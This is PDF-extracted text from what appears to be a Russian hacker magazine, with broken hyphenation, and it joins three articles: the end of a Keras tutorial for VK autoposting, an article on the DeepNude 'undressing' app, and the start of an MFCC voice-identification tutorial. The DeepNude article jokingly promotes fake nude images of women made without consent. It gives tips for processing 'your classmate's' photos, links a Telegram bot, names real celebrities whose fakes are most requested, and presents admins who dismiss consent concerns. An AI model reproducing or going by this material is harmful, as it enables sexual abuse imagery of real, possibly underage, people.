model.add(Dropout(0.2))

# We add a Convolution1D, which will learn filters
# word group filters of size filter_length:
model.add(Conv1D(250,
               3,
               padding='valid',
               activation='relu',
               strides=1))
# We use max pooling:
model.add(GlobalMaxPooling1D())

# We add a vanilla hidden layer:
model.add(Dense(250))
model.add(Dropout(0.2))
model.add(Activation('relu'))

# We project onto a single unit output layer, and squash it with a 
sigmoid:
model.add(Dense(1))
model.add(Activation('sigmoid'))

Этот код я пол ностью взял из при мера и заменил лишь раз мернос ти дан ных.
Да вай ском пилиру ем нашу ней рон ную сеть.

model.compile(loss='binary_crossentropy',
                   optimizer='adam',
                   metrics=['accuracy'])

А теперь напишем код, который запус тит тре ниров ку сети и сох ранит резуль‐ 
тат в файл, что бы он не потерял ся.

model.fit(x_train, mark_list, batch_size=32, epochs=15, valida
tion_data=(x_test, mark_list_test))
model.save("vkbase.h5")

Что бы  начать  обу чение,  нуж но  запус тить  наш скрипт  на  исполне ние  из  кон‐ 
соли. В тер минале дол жна появить ся бегущая стро ка.

 

 

14784/20000 [=====================>........] ‐ ETA: 8s ‐ loss: 0.5232 ‐ 
acc: 0.7835

Про цесс может занять до десяти минут, при дет ся подож дать. У меня точ ность
обу чения  сос тавила  62%.  Это  говорит  о  том,  что  в  дан ных  была  най дена
законо мер ность и сеть мож но исполь зовать по наз начению. Если бы резуль‐ 
тат сос тавил 50% или мень ше, это зна чило бы, что законо мер ностей не най‐ 
дено и ней рон ная сеть прос то уга дыва ет исход с той же веро ятностью.

Да вай про верим, как работа ет наша сеть.

network = load_model("vkbase.h5")
strin = ["А ты знаешь, мне сегодня грустно. Люди разучились быть 
людьми, В этом мире стало слишком пусто... Слов не надо... Просто 
обними... Наталия Коденцова"]

#loading tokenizer
with open('tokenizer.pickle', 'rb') as handle:
   tokenizer = pickle.load(handle)

seq = tokenizer.texts_to_sequences(strin)
x_seq = sequence.pad_sequences(seq, maxlen=400)

prediction = network.predict(np.array(x_seq), verbose=1)
print(prediction)

Этот  скрипт  показы вает,  с  какой  веро ятностью  дан ная  цитата  получит  лайк.
Им мы и будем поль зовать ся в даль нейшем.

ВНЕДРЯЕМ НЕЙРОННУЮ СЕТЬ НА PYTHON В ПРОЕКТ НА С++
На ша  ней рон ная  сеть  обу чена  и  готова  к  исполь зованию.  Теперь  нам  надо
внед рить ее в про ект на С++ на плат форме Qt5, который будет пос тить отоб‐ 
ранные пос ты в ВК.

#include "/usr/include/python2.7/Python.h"

Py_Initialize();

PyObject *moduleMainString = PyString_FromString("__main__");
PyObject *moduleMain = PyImport_Import(moduleMainString);

PyRun_SimpleString(
   "import pickle\n"
   "import numpy as np\n"
   "from keras.preprocessing.text import Tokenizer\n"
   "from keras.preprocessing import sequence\n"
   "from keras.models import Sequential, load_model    \n"
   "def neuron(text):                                 \n"
   "   network = load_model(\"/home/alex/Projects/vkbase/vkbase.h5\"
)            \n"
   "   strin = [text]\n"
   "   #loading tokenizer                                 \n"
   "   with open(\"/home/alex/Projects/vkbase/tokenizer.pickle\", \"
rb\") as handle:    \n"
   "      tokenizer = pickle.load(handle)              \n"
   "   seq = tokenizer.texts_to_sequences(strin)       \n"
   "   x_seq = sequence.pad_sequences(seq, maxlen=400)     \n"
   "   prediction = network.predict(np.array(x_seq), verbose=1) \n"
   "   return prediction                                    \n"
);

Те бе  нуж но  толь ко  про писать  свои  пути  к фай лам    и 
.

vkbase.h5 tokenizer.
pickle

Скрипт, который мы внед рили в про ект, — фун кция под наз вани ем  ,
которая  при нима ет  параметр    и  воз вра щает  веро ятность  в  виде  чис ла

. Опи шем дос туп к нашей фун кции и аргу мент, который мы будем
в нее отда вать.

neuron
text

prediction

PyObject *func = PyObject_GetAttrString(moduleMain, "neuron");
char [] cit = "Hello!";
PyObject *args = PyTuple_Pack(1, PyString_FromString(cit));

Здесь перемен ная   — это пост, который надо про верить. Теперь вызовем
нашу фун кцию с пос том в качес тве аргу мен та и получим резуль тат.

cit

PyObject *result = PyObject_CallObject(func, args);
double koef = PyFloat_AsDouble(result);

Пе ремен ная    и  есть  наш резуль тат,  веро ятность  того,  что  пост  получит
лай ки. Теперь мы можем про верить его: если он боль ше 0.5, мы можем раз‐ 
мещать пост в сети, если мень ше — луч ше взять дру гой.

koef

Та ким обра зом мы можем реали зовать авто пос тинг: завес ти тай мер (нап‐ 
ример, на один час), по его сра баты ванию брать пост из бан ка пос тов, про‐ 
верять  на  при год ность  с  помощью  ней рон ной  сети  и  пуб ликовать  в  слу чае
успе ха.

ВЫВОДЫ
Пос ле внед рения опи сан ного про екта в   я уви дел резуль‐ 
тат доволь но ско ро. Количес тво лай ков не силь но изме нилось, но количес тво
под писчи ков про дол жает рас ти, так что этот про ект ока зал ся не толь ко инте‐ 
рес ным, но и полез ным. Наде юсь, не для меня одно го :)

ре аль ной груп пе ВК

WWW

•Ис ходни ки про екта
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У каж дого сурово го мужика стар ше две над цати лет име ется
как минимум  три  сок ровен ных  желания:  погонять  на  кру той
тач ке  с  табуном  диких  лошадей  под  капотом,  выиг рать
в  казино  мил лион  дол ларов  и  раз деть  при  слу чае
какую‐нибудь  сим патич ную  тяноч ку.  И  если  c  дос тижени ем
пер вых  двух  пун ктов  все  не  так  прос то,  тре тий  лег ко  воп‐ 
лотить.  Не  веришь?  Речь  о  про екте  DeepNude,  который
исполь зует  в  сво ей  работе  адскую  смесь  из  ней росетей,
искусс твен ного интеллек та и полово го инстинкта.

DEEPNUDE: БОЛЬШОЕ ОТКРЫТИЕ
Ле том 2019 года житель ница Син гапура по име ни Роуз обна ружи ла на одном
из  форумов  собс твен ную  фотог рафию,  сде лан ную  за  нес коль ко  месяцев
до  это го.  На  исходном  сним ке  девуш ка  позиро вала  в  купаль нике,  одна ко
в новом обра зе она пред ста ла перед вос торжен ной пуб ликой не толь ко топ‐ 
лес, но и, страш но ска зать, без тру сов. Так началась эпо ха DeepNude — при‐ 
ложе ния,  уме юще го  бес стыд но  раз девать  на  фото  пред ста витель ниц  прек‐ 
расно го пола.

DeepNude  взор вал  интернет  в минув шем июне,  ког да  этот  прог рам мный
про дукт  был  впер вые  пред став лен  на  рын ке  в  виде  бес плат ной  базовой
и  прод винутой  пре миум‐вер сии.  Ано ним ный  раз работ чик,  скры вающий ся
под  псев донимом  Аль бер то,  бла гора зум но  решил  не  обна родо вать  свою
истинную лич ность, извес тно толь ко, что пред положи тель но он из Эсто нии.

В   изда нию Vice Аль бер то приз нался, что на соз дание DeepNude
его вдох новила под хва чен ная в детс тве идея «рен тге нов ских очков», спо соб‐ 
ных  чудес ным  обра зом  лишить  одеж ды  любого  челове ка,  на  которо го  пос‐ 
мотрит их обла датель. Отту да же, судя по все му, взял ся и логотип при ложе‐ 
ния,  на  котором  изоб ражен  воору жен ный  таким  девай сом  чувак  похаб‐ 
но‐глум ливой внеш ности.

ин тервью

Те самые «рен тге нов ские» очки из семиде сятых

Мож но пред положить, что безоб лачное детс тво авто ра DeepNude приш лось
на  конец  семиде сятых  —  начало  вось мидеся тых  годов  прош лого  века  —
имен но тог да леген ды о «рен тге нов ских очках», «крас ной фотоп ленке» и про‐ 
чих дос тижени ях науки, прев раща ющих объ ективную реаль ность в пор нохаб,
име ли  хож дение  в  сре де  совет ских  юно шей,  мужес твен но  пре одо левав ших
этап полово го соз ревания в рядах все союз ной пионер ской орга низа ции име‐ 
ни В. И. Ленина.

Я не вуай ерист, я тех нологи чес кий энту зиаст, — откро вен ничал в сво- 
ем  интервью  Аль бер то.  —  Око ло  двух  лет  назад  я  открыл  для  себя
потен циал искусс твен ного интеллек та и начал изу чать осно вы. Ког да я
узнал,  что  генера тив но‑сос тязатель ные  ней росети  (Generative  adver-
sarial  network,  GAN)  могут  пре обра зовы вать  днев ные  фотог рафии
в ноч ные, я понял, что мож но прев ратить оде того челове ка на фотог- 
рафии в обна жен ного. Эври ка! Я осоз нал, что рен тге нов ские очки воз- 
можны!  Дви жимый  весель ем  и  энту зиаз мом  бла года ря  это му  откры- 
тию, я про вел пер вые тес ты, получив инте рес ные резуль таты.

Ре зуль таты и впрямь ока зались очень и очень инте рес ными: лич но мне хва‐ 
тило  пары  суток  прис таль ного  изу чения  телег рам‐вер сии  DeepNude,  что бы
почувс тво вать себя самым нас тоящим интернет‐гинеко логом.

Ре зуль тат работы DeepNude иног да быва ет ори гина лен и неп ред ска зуем

DEEPNUDE: БОЛЬШОЕ ЗАКРЫТИЕ
Ори гиналь ная прог рамма про сущес тво вала все го лишь четыре дня: ее явле‐ 
ние  миру  под няло  чудовищ ную  вол ну    воз мущения  во  всех
цивили зован ных  и  счи тающих  себя  таковы ми  стра нах.  По  мне нию  прог‐ 
рессив ной  общес твен ности,  обна жение  жен щин  на  фотог рафи ях  без  их
ведома и сог ласия самым вар вар ским обра зом ущем ляет пра ва и оскор бля‐ 
ет чувс тва прек расной полови ны челове чес тва.

вос хищения

О  задетых  чувс твах  муж чин,  на  фоточ ках  которых  бес совес тный  искусс‐ 
твен ный интеллект, под ло хихикая, в  точ ности так же при рисо вывал тить ки 

, общес твен ность почему‐то до сих пор хра нит скор бное мол чание.
и

вареник

Ки на не будет, элек три чес тво кон чилось!

Под давшись все обще му порица нию, раз работ чик усты дил ся и зак рыл про ект,
кон чив  в  эфир  про щаль ным  тви том  о  том,  что  мир  еще  не  готов  к  при ходу
DeepNude.  Но  было  поз дно.  Исходные  коды  прог раммы,  выложен ные
на GitHub, начали свое побед ное шес твие по интерне там. Ано ним ные извра‐ 
щен цы ска чива ли про гу, а потом сли вали ее на тор ренты и фай лооб менни ки
вмес те с инс трук циями по уста нов ке, нас трой ке и сбор ке соф тины под Win‐
dows, Linux и Android.

Ад минис тра ция  GitHub  вско ре  без жалос тно  выпили ла  это  безоб разие
со  сво его  ресур са,  оправды вая  такой  акт  ван дализ ма  тем,  что  DeepNude,
видите  ли,  наруша ет  пра вила  сооб щес тва.  Но  даже  нес мотря  на  это,  най ти
исходни ки в Сети мож но и по сей день, при чем без осо бых уси лий.

КАК УСТРОЕН DEEPNUDE
Со вре менем на осно ве быв шей ком мерчес кой вер сии DeepNude был соз дан
впол не рабочий софт: в коде пофик сили мно гочис ленные ошиб ки и уда лили
отту да  совер шенно  лиш ний  кусок  прог раммы,  добав лявший  на  голые  фото
над пись о том, что это изоб ражение — фейк. Затем в Сети ста ли появ лять ся
мно гочис ленные фор ки, родив шиеся в резуль тате реверс‐инжи нирин га ори‐ 
гиналь ного  про екта.  Шум ный  успех  эстон ско го  раз работ чика  ока зал ся
зарази тель ным.

Ис кусс твен ный интеллект такой искусс твен ный

Из началь но при ложе ние DeepNude было написа но на Python и ском пилиро‐ 
вано в исполня емые фай лы. Прог рамма исполь зует в работе биб лиоте ки Qt,
Numpy  и  PyTorch  и  может  уско рять  динами чес кую  генера цию  изоб ражений
с  исполь зовани ем  ресур сов  гра фичес ких  про цес соров  Nvidia
при помощи тех нологии CUDA.

пор но

В осно ве DeepNude лежит сос тязатель ный алго ритм машин ного обу чения
GAN, хорошо зареко мен довав ший себя все в тех же пионер ских вось мидеся‐ 
тых — ког да одна коман да школь ников решала на ско рость матема тичес кие
задач ки,  а  вто рая  тща тель но  иска ла  в  этих  решени ях  ошиб ки  (пос ле  чего
«банан» в жур нал бла гопо луч но получа ли и те и дру гие).

В  рас смат рива емом  нами  слу чае  меж ду  собой  сорев нуют ся  две  ней‐ 
росети,  одна  из  которых  генери рует  веселые  кар тинки,  а  вто рая  пыта ется
отли чить  реаль ные  фото  от  обра зов,  соз данных  нез доровым  машин ным
разумом. «Педиви кия»  , что этот метод поз воля ет получить впол не
реалис тичные  изоб ражения  котиков,  но  мы‐то  с  тобой  зна ем  его  истинное
пред назна чение, откры тое нам синь ором Аль бер то, — про мыш ленное сись‐ 
кос тро ение.

ут вер жда ет

DeepNude — это весело!

Обу чен ная  модель  —  готовая  база  дан ных  с  алго рит мами  генера ции  кар‐ 
тинок,  пос тро енная  в  резуль тате  обра бот ки  информа ции  ней росетью,  —
была раз бита на три фай ла общим объ емом 2,1 Гбайт, которые под гру жались
в  при ложе ние  из  ама зонов ско го  облачно го  хра нили ща  пос ле  завер шения
уста нов ки. Нес мотря на то что учет ку в обла ке уже дав но прик рыли, обу чен ная
модель  попала  в  Сеть  вмес те  с  исходни ками  DeepNude,  бла года ря  чему
сегод ня  мы  можем  любовать ся  веселы ми  кар тинка ми  на  голубых  экра нах
наших элек трон но‐вычис литель ных машин.

При меча тель но,  что  у  DeepNude  есть  встро енные  механиз мы  модифи‐ 
кации  заг ружа емых  дан ных,  что бы  ее  обу чен ную  модель  не  мог ли  исполь‐ 
зовать дру гие при ложе ния. Впро чем, пос ле попада ния исходни ков в паб лик
это уже не име ет боль шого зна чения.

DeepNude  исполь зовал  в  качес тве  фун дамен та  откры тый  про ект  ,
реали зован ный  в  сте нах  Калифор ний ско го  уни вер ситета  еще  в  2017  году.
Pix2pix,  базиру ющий ся  на  GAN,  поз воля ет  стро ить  новые  изоб ражения
на осно ве исходных кар тинок, для чего он исполь зует базу дан ных ней росети,
где соб раны соот ветс тву ющие алго рит мы.

pix2pix

Нап ример, с помощью pix2pix мож но прев ратить лет ний пей заж в зим ний,
а  чер но‐белую  фотог рафию —  в  цвет ную.  В  нашем  слу чае  DeepNude  ана‐ 
лизи ровал  исходное  изоб ражение,  опре делял  его  клю чевые  точ ки,  а  затем
сре ди  десят ков  тысяч  кар тинок  с  обна жен ной  натурой  выис кивал  наибо лее
под ходящую по раз меру, ракур су, оттенку и про чим парамет рам. Пос ле чего,
как  говари вал  небезыз вес тный  началь ник  кол басно го  цеха  МС  Вспыш кин,
«вызыва ем  голых  баб»:  прог рамма  поп росту  заменя ет  прик рытые  одеж дой
фраг менты  исходно го  сним ка  похожи ми  эле мен тами,  но  уже  без  таковой.
Магия!

Вспыш кин знал толк в голых бабах

Ины ми сло вами, ней рон ка не раз дева ет сфо тог рафиро ван ную модель силой
сво его  могуче го  искусс твен ного  интеллек та,  а  лепит  на  нее  наибо лее
похожие  ракур сом  и  раз мером  сись ки  из  сво ей  богатей шей  гра фичес кой
кол лекции. И тут нель зя не отме тить пра воту соз дателя при ложе ния Аль бер‐ 
то, который говорил, что вре да в DeepNude не боль ше, чем «Фотошо пе», пос‐ 
коль ку  прин цип  дей ствия  у  обе их  прог рамм  оди нако вый.  Прос то  DeepNude
раз дева ет теток быс трее и дела ет это авто мати чес ки, в то вре мя как фотошо‐ 
пить нуж но еще уметь.

Проб лемы FaceApp
По хожий  прин цип  исполь зуют  и  дру гие  популяр ные  раз вле катель ные  при‐ 
ложе ния,  спо соб ные  модифи циро вать  фотог рафии  при  помощи  авто мати‐ 
чес ких  алго рит мов  и  само обу чающих ся  ней росетей.  Сре ди  них  —  приз‐ 
нанная угро зой наци ональ ной безопас ности США прог рамма FaceApp, поль‐ 
зовате ли которой в недав нем прош лом навод нили интерне ты фоточ ками сво‐ 
их смор щенных хари усов.

За мечу,  что  в  свое  вре мя  у  FaceApp  тоже  воз никали  проб лемы  с  блюс‐ 
тителя ми  закон ности  и  нравс твен ности,  пос коль ку  одна  из  пер вых  вер сий
это го мобиль ного при ложе ния поз воляла менять на пор тре тах не толь ко пол
и  воз раст,  но  так же  расу  —  эта  фун кция  была  приз нана  оскорби тель ной
для наци ональ ных мень шинств.

А  вот  раз работ чики  из  Пап ско го  католи чес кого  уни вер ситета  в  Риу‐Гран‐ 
ди‐ду‐Сул  (Бра зилия)    на  базе  той  же  тех нологии  сво его  бота,
который,  наобо рот,  целомуд ренно  при рисо выва ет  голым  жен щинам
на  фотог рафи ях  ниж нее  белье.  Уди витель но,  но  вари ант  с  раз девани ем
почему‐то  поль зует ся  у  ано ниму сов  зна читель но  боль шей  популяр ностью.
Уче ным еще пред сто ит иссле довать при чины это го феноме на.

соз дали

БУРЛЕНИЕ ЭМОЦИЙ
Бор цы с DeepNude аргу мен тиру ют свою позицию тем, что под дель ная обна‐ 
жен ка  может  исполь зовать ся  зло умыш ленни ками  для  кибер буллин га,  шан‐ 
тажа и дис кре дита ции жен щин. С дру гой сто роны,  искусс твен ный интеллект
все еще выпол няет свою работу весь ма пос редс твен но, поэто му потен циаль‐ 
ной  жер тве  будет  отно ситель но  нес ложно  доказать  фей ковость  подоб ных
фотог рафий — дос таточ но предъ явить общес твен ности ори гинал.

Прав  Аль бер то  и  в  дру гом:  DeepNude  спе циали зиру ется  на  прек расном
поле  преж де  все го  потому,  что  соб рать  исходный  матери ал  для  обу чения
ней росети  в  этом  слу чае  зна читель но  про ще:  кар тинок  с  раз детыми  жен‐ 
щинами в интерне те на поряд ки боль ше, чем с голыми муж чинами. Хотя, сда‐ 
ется мне, Аль бер то прос то не там искал.

DEEPNUDE В TELEGRAM
Нес мотря на все перипе тии с зак рыти ем ори гиналь ного про екта и бур лени ем
общес твен ности, про ект DeepNude прек расно себя чувс тву ет до сих пор. Так,
на  его  осно ве  оте чес твен ные  ано ниму сы  раз работа ли  ,
который дела ет все то же самое, что и нашумев шее при ложе ние, — раз дева‐ 
ет жен щин на заг ружен ных поль зовате лем сним ках.

те лег рам‐бота

Для получе ния успешно го резуль тата сле дует соб людать все го лишь нес‐ 
коль ко  нес ложных  пра вил. Нуж но  добыть фотог рафии  тво ей  одноклас сни цы
в хорошем качес тве, желатель но в белье или в купаль нике, луч ше все го, если
девуш ка сто ит лицом к фотог рафу, а ее волосы не дол жны лежать на гру ди.

До маш них живот ных и муж чин бот без жалос тно прев раща ет в гер мафро‐ 
дитов,  с  муль тяш ными  пер сонажа ми  справ ляет ся  чуть  луч ше,  так  что  пок‐ 
лонни кам  ани ме  и  ман ги  будет  где  раз гулять ся.  На  канале  бота  в  Telegram
мож но  най ти  ссыл ку  на  галерею  наибо лее  удач ных  сним ков,  обра ботан ных
искусс твен ным интеллек том.

Прав да,  при  прос мотре  этой  под борки  на  ум  почему‐то  навяз чиво  при‐ 
ходит анек дот про ста рого сле пого охот ника, умев шего на ощупь опре делять
породу и спо соб умерщ вле ния дичи, — «еж, убит топором».

С ани меш ными тяноч ками DeepNude справ ляет ся очень неп лохо, ня!

ИНТЕРВЬЮ С АДМИНАМИ БОТА
Мы не мог ли  отка зать  себе  в  удо воль ствии  и  задали  вла дель цам бота  нес‐ 
коль ко  воп росов,  из  отве тов  на  которые  получи лось  неболь шое,  но  содер‐ 
жатель ное интервью.

— Есть ли какая‑то ста тис тика, которую мож но пуб ликовать?
— На текущий момент в сут ки обра баты вает ся око ло 10 тысяч зап росов,

а ауди тория бота сос тавля ет око ло 50 К поль зовате лей.
— Рас ска жите в двух сло вах об инфраструк туре. Дос таточ но ли

для  работы  бота  одной  машины,  или  при ходит ся  как‑то  рас- 
парал леливать, исполь зовать облачные сер висы?

— Исполь зует ся модель,  где есть основной сер вер с ботом и нес коль ко
сер веров для обра бот ки  зап росов,  за  счет  это го  дос тига ется  хорошая  ско‐ 
рость.

— Как дол го фото сто ит в оче реди на бес плат ную обра бот ку?

Какие были рекор ды?

— Пик был 3000 поль зовате лей в оче реди, пос ле это го мы улуч шили архи‐ 
тек туру  бота. В  дан ный момент  ско рость  ста биль ная,  оче редь мак сималь но
дос тига ет 200+ человек.

—  Вно сились  ли  какие‑то  изме нения  в  исходный  код  Deep-
Nude? В модель?

— На текущем эта пе изме нения по срав нению с ори гина лом не очень зна‐ 
читель ные,  но  работа  ведет ся...  Есть  нес коль ко  инте рес ных  идей,  которые
уже находят ся в про цес се воп лощения.

—  Почему  в  качес тве  плат формы  выб ран  «Телег рам»,  а  не

прос то веб‑сайт или что‑то еще?
— Мы  не  выбира ли  плат форму,  все  получи лось  слу чай но.  Один  соз дал

телег рам‐акка унт deepnude и чат, в чате начались активные тес ты прог раммы,
были пред при няты пер вые попыт ки сде лать бота. В ито ге соб ралась  груп па
еди номыш ленни ков,  которым  это  было  инте рес но,  и  понес лось...  Конеч но,
если бы мы были стар тапом, мы бы рас смот рели дру гие, более популяр ные
и при быль ные плат формы, но у нас нет такой цели.

— Монети зация подоб ного про екта через Telegram — удоб но ли

это  в  сов ремен ных  реалиях,  под ходит  ли  поль зовате лям?  Нас- 

коль ко  вооб ще  инфраструк тура  Telegram  в  его  нынеш нем  виде,

с вашей точ ки зре ния, под ходит для ком мерчес ких про ектов?

—  Монети зация  не  явля ется  целью  про екта,  прос то  в  какой‐то  момент
количес тво  поль зовате лей  пре выси ло  наши  ожи дания,  и  нам  понадо бились
средс тва для мас шта биро вания. Тог да мы решили поп росить поль зовате лей
под держать  про ект,  прик рутили  пла тежи.  Если  говорить  о  «Телег раме»,  то
в  целом  для монети зации фри лан са  на  дан ный момент мы  так  и  не  смог ли
най ти  удоб ный  для  себя  инс тру мент,  ждем  появ ления  TON  (Telegram  Open
Network).

—  Есть  ли  «топ  зна мени тос тей»,  обна жен ные  фотог рафии

которых инте ресу ют поль зовате лей чаще все го?

— Судя по зап росам в чате и в пред ложени ях для раз мещения в галерее,
в рус ско языч ном сег менте лидиру ют [Катя] Кищук и ведущая «Орла и реш ки»
Регина [Тодорен ко], далее сле дуют раз личные стри мер ши.

— Тон кий воп рос про мораль ную сто рону про екта. Помимо пуб- 

личных  пер сон,  поль зовате ли  навер няка  заг ружа ют  свои  фот ки

и фот ки  сво их  зна комых. И  зачас тую,  подоз реваю, модель  не  в

кур се,  что  ее  фот ку  обра баты вают  и  вык ладыва ют  в  пуб личный

дос туп.  Как  адми нис тра торы  канала отно сят ся  к  это му? Не опа- 

саетесь  судеб ных  прес ледова ний  со  сто роны  оби жен ных

моделей?

—  Поль зовате лей  уве дом ляют  об  ответс твен ности  и  пра вилах
перед  началом  исполь зования  бота.  Если  человек  слу чай но  выложил  в  чат
или  галерею  работ  лич ную  фотог рафию,  то  в  любую  минуту  он  может  поп‐ 
росить  уда лить  ее.  Так  же  может  пос тупить  и  девуш ка,  при сутс тву ющая
на фотог рафии. Мы лишь пре дос тавля ем ресур сы для  исполь зования  прог‐ 
раммы.  В  любом  слу чае  прог рамма  далека  от  иде ала:  мож но  ска зать,  что
это  «Фотошоп в два  кли ка»  с  узкой нап равлен ностью,  а фото,  соз дава емые
ею,  —  это  циф ровое  искусс тво.  В  чате  в  целом  домини рует  мне ние,  что
людей  увле кает  про цесс,  а  сами  резуль таты  в  боль шинс тве  оце нива ются
лишь со сто роны эсте тики. Воз можно, у кого‐то резуль таты работы алго рит ма
и  вызыва ют  какие‐то  эмо ции  сек суаль ного  харак тера,  но  опять  же,  судя
по чату, боль шинс тво при нима ют эти работы прос то как кар тинку, соз данную
машиной, и понима ют, что в ней нет души.

mailto:schelma@protonmail.com
https://www.vice.com/en_us/article/kzm59x/deepnude-app-creates-fake-nudes-of-any-woman
https://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%BD%D0%B5%D1%80%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D0%BE-%D1%81%D0%BE%D1%81%D1%82%D1%8F%D0%B7%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D1%81%D0%B5%D1%82%D1%8C
https://github.com/phillipi/pix2pix
https://www.theregister.co.uk/2018/07/20/ai_bikini_picture_painter/
https://t.me/DEEPNUDE
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Ты, воз можно, уже стал кивал ся с иден тифика цией по голосу.
Она исполь зует ся в бан ках для иден тифика ции по телефо ну,
для  под твержде ния  лич ности  на  пун ктах  кон тро ля  и  в
бытовых  голосо вых  ассистен тах,  которые  могут  узна вать
хозя ина.  Зна ешь  ли  ты,  как  это  работа ет?  Я  решил  разоб‐ 
рать ся в под робнос тях и сде лать свою реали зацию.

ХАРАКТЕРИСТИКИ ГОЛОСА
В пер вую оче редь голос опре деля ется его высотой. Высота — это основная
час тота зву ка,  вок руг  которой стро ятся все дви жения  голосо вых свя зок. Эту
час тоту лег ко почувс тво вать на слух: у кого‐то голос выше, звон че, а у кого‐то
ниже, басови тее.

Дру гой  важ ный  параметр  голоса  —  это  его  сила,  количес тво  энер гии,
которую  человек  вкла дыва ет  в  про изно шение.  От  силы  голоса  зависит  его
гром кость, насыщен ность.

Еще одна харак терис тика — то, как голос перехо дит от одно го зву ка к дру‐ 
гому.  Этот  параметр  наибо лее  слож ный  для  понима ния  и  для  вос при ятия
на слух, хотя и самый точ ный — как и отпе чаток паль ца.

ПРЕДОБРАБОТКА ЗВУКА
Че лове чес кий голос — это не оди нокая вол на, это сум ма мно жес тва отдель‐ 
ных час тот, соз дава емых голосо выми связ ками, а так же их  . Из‐за
это го в обра бот ке сырых дан ных вол ны тяжело най ти законо мер ности голоса.

гар моники

Нам на помощь при дет   — матема тичес кий спо соб
опи сать одну слож ную зву ковую вол ну спек трог раммой, то есть набором мно‐ 
жес тва  час тот  и  ампли туд.  Эта  спек трог рамма  содер жит  всю  клю чевую
информа цию  о  зву ке:  так  мы  узна ем,  какие  в  исходном  голосе  содер жатся
час тоты.

пре обра зова ние Фурье

Но пре обра зова ние Фурье — матема тичес кая фун кция, которая нацеле на
на  иде аль ный,  неменя ющий ся  зву ковой  сиг нал,  поэто му  она  тре бует  прак‐ 
тичес кой  адап тации.  Так  что,  вмес то  того  что бы  выделять  час тоты  из  всей
записи  сра зу,  эту  запись  мы  поделим  на  неболь шие  отрезки,  в  течение
которых  звук  не  будет  менять ся.  И  при меним  пре обра зова ние  к  каж дому
из кусоч ков.

Спек трог рамма пения пти цы

WWW

Выб рать  дли тель ность  бло ка  нес ложно:  в  сред‐ 
нем один слог человек про изно сит за 70–80 мс,
а  инто наци онно  выделен ный  вдвое  доль ше  —
100–150 мс. Под робнее об этом мож но почитать
в  .ис сле дова нии

Сле дующий шаг — пос читать спек трог рамму вто рого поряд ка, то есть спек‐ 
трог рамму от спек трог раммы. Это нуж но сде лать, пос коль ку спек трог рамма,
помимо основных час тот, так же содер жит гар моники, которые не очень удоб‐ 
ны  для  ана лиза:  они  дуб лиру ют  информа цию.  Рас положе ны  эти  гар моники
на  рав ном  друг  от  дру га  рас сто янии,  единс твен ное  их  раз личие —  умень‐ 
шение ампли туды.

Да вай пос мотрим, как выг лядит спектр монотон ного зву ка. Нач нем с вол‐ 
ны — синусо иды, которую изда ет, нап ример, про вод ной телефон при наборе
номера.

Вид но, что, кро ме основно го пика, на самом деле пред став ляюще го сиг нал,
есть  мень шие  пики,  гар моники,  которые  полез ной  информа ции  не  несут.
Имен но поэто му, преж де чем получать спек трог рамму вто рого поряд ка, пер‐ 
вую спек трог рамму логариф миру ют, чем получа ют пики схо жего раз мера.

Ло гарифм спек трог раммы синуса

Те перь, если мы будем искать спек трог рамму вто рого поряд ка, или, как она
была наз вана, «кепстр» (анаг рамма сло ва «спектр»), мы получим во мно го раз
более  при лич ную  кар тинку,  которая  пол ностью,  одним  пиком,  отоб ража ет
нашу изна чаль ную монотон ную вол ну.

Кепстр

Од на из самых полез ных осо бен ностей нашего слу ха — его нелиней ная при‐ 
рода по отно шению к  вос при ятию час тот. Путем дол гих экспе римен тов  уче‐ 
ные выяс нили, что эту законо мер ность мож но не толь ко лег ко вывес ти, но и
лег ко исполь зовать.

За виси мость мела от гер ца

Эту  новую  величи ну  наз вали  ,  и  она  отлично  отра жает  спо соб ность
челове ка рас позна вать раз ные час тоты — чем выше час тота зву ка, тем слож‐ 
нее ее раз личить.

мел

Гра фик перево да гер ца в мелы

Те перь поп робу ем при менить все это на прак тике.

ИДЕНТИФИКАЦИЯ С ИСПОЛЬЗОВАНИЕМ MFCC
Мы  можем  взять  дли тель ную  запись  голоса  челове ка,  пос читать  кепстр
для  каж дого  малень кого  учас тка  и  получить  уни каль ный  отпе чаток  голоса
в каж дый момент вре мени. Но этот отпе чаток слиш ком боль шой для хра нения
и ана лиза — он зависит от выб ранной дли ны бло ка и может доходить до двух
тысяч чисел на каж дые 100 мс. Поэто му из такого мно гооб разия необ ходимо
извлечь опре делен ное количес тво приз наков. С этим нам поможет мел‐шка‐ 
ла.

Мы можем выб рать опре делен ные «учас тки слы шимос ти», на которых про‐ 
сум миру ем все сиг налы, при чем количес тво этих  учас тков рав но  количес тву
необ ходимых приз наков, а дли ны и гра ницы учас тков зависят от мел‐шка лы.

Вы чис ление мел‐час тотных кепс траль ных коэф фици ентов

Вот мы и поз накоми лись с мел‐час тотны ми кепс траль ными коэф фици ента ми
(MFCC).  Количес тво  приз наков  может  быть  про изволь ным,  но  чаще  все го
варь иру ется от 20 до 40.

Эти  коэф фици енты  отлично  отра жают  каж дый  «час тотный  блок»  голоса
в  каж дый момент вре мени, а  зна чит, если обоб щить вре мя, про сум мировав
коэф фици енты  всех  бло ков,  мы  смо жем  получить  голосо вой  отпе чаток
челове ка.

Тес тирова ние метода
Да вай  ска чаем  нес коль ко  записей  видео  с  YouTube,  из  которых  извле чем
голос для наших экспе римен тов. Нам нужен чис тый звук без шумов. Я выб рал
канал  .TED Talks

Ска чаем  нес коль ко  виде оза писей  любым  удоб ным  спо собом,  нап ример
с помощью ути литы  . Она дос тупна через   или через офи циаль‐ 
ный репози торий Ubuntu или Debian. Я ска чал три виде оза писи выс тупле ний:
двух жен щин и одно го муж чины.

youtube‐dl pip

За тем пре обра зуем видео в аудио, соз даем нес коль ко кус ков раз ной дли‐ 
ны без музыки или апло дис ментов.

$ ffmpeg ‐ss 00:00:27.0 ‐i man1.webm ‐t 200 ‐vn man1.1.wav

Те перь раз берем ся с прог раммой на Python 3. Нам понадо бят ся биб лиоте ки
 для вычис лений и   для обра бот ки зву ка, которые мож но уста‐ 

новить с помощью  . Для тво его удобс тва все слож ные вычис ления коэф‐ 
фици ентов упа кова ли в одну фун кцию  . Заг рузим зву‐ 
ковую дорож ку и извле чем харак терис тики голоса.

numpy librosa
pip

librosa.feature.mfcc

import librosa as lr
import numpy as np

SR = 16000 # Частота дискретизации

def process_audio(aname):
